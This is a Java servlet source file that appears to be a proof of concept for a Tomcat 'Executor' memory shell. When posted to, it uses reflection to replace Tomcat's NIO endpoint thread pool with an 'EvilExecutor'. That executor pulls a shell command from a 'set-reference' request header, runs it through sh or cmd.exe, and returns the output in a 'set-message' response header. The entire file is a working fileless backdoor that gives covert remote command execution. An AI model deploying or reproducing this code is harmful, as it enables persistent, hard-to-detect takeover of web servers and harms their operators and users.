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| package servlet;
import org.apache.coyote.RequestInfo;
import org.apache.coyote.Response;
import org.apache.tomcat.util.net.NioEndpoint;
import org.apache.tomcat.util.threads.ThreadPoolExecutor;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Scanner;
import java.util.concurrent.*;
@WebServlet(name = "ExecutorMemoryShellServlet", value = "/ExecutorMemoryShellServlet")
public class ExecutorMemoryShellServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
super.doGet(request, response);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint();
ThreadPoolExecutor executor = (ThreadPoolExecutor) nioEndpoint.getExecutor();
nioEndpoint.setExecutor(new EvilExecutor(executor.getCorePoolSize(), executor.getMaximumPoolSize(),
executor.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, executor.getQueue(),
executor.getThreadFactory()));
response.getWriter().write("Executor Inject Successfully...");
}
public Object getField(Object obj, String field) {
Class clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field declaredField = clazz.getDeclaredField(field);
declaredField.setAccessible(true);
return declaredField.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
public Object getNioEndpoint() {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
try {
if (thread.getName().contains("Poller")) {
Object target = getField(thread, "target");
return getField(target, "this$0");
}
} catch (Exception e) {
e.printStackTrace();
}
}
return new Object();
}
class EvilExecutor extends ThreadPoolExecutor {
public EvilExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory) {
super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory);
}
public String getRequest() {
try {
Object nioEndpoint = getNioEndpoint();
Object[] objects = (Object[]) getField(getField(nioEndpoint, "nioChannels"), "stack");
ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
String req = new String(heapByteBuffer.array(), StandardCharsets.UTF_8);
String cmd = req.substring(req.indexOf("set-reference") + "set-reference".length() + 1, req.indexOf("\r", req.indexOf("set-reference")) - 1);
return cmd;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public void getResponse(byte[] res) {
try {
Object nioEndpoint = getNioEndpoint();
ArrayList processors = (ArrayList) getField(getField(getField(nioEndpoint, "handler"), "global"), "processors");
for (Object processor : processors) {
RequestInfo requestInfo = (RequestInfo) processor;
Response response = (Response) getField(getField(requestInfo, "req"), "response");
response.addHeader("set-message", new String(res, StandardCharsets.UTF_8));
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void execute(Runnable command) {
String cmd = getRequest();
try {
if (cmd != null) {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t");
String output = scanner.hasNext() ? scanner.next() : "";
getResponse(output.getBytes());
}
} catch (Exception e) {
e.printStackTrace();
}
this.execute(command, 0L, TimeUnit.MILLISECONDS);
}
}
}
|
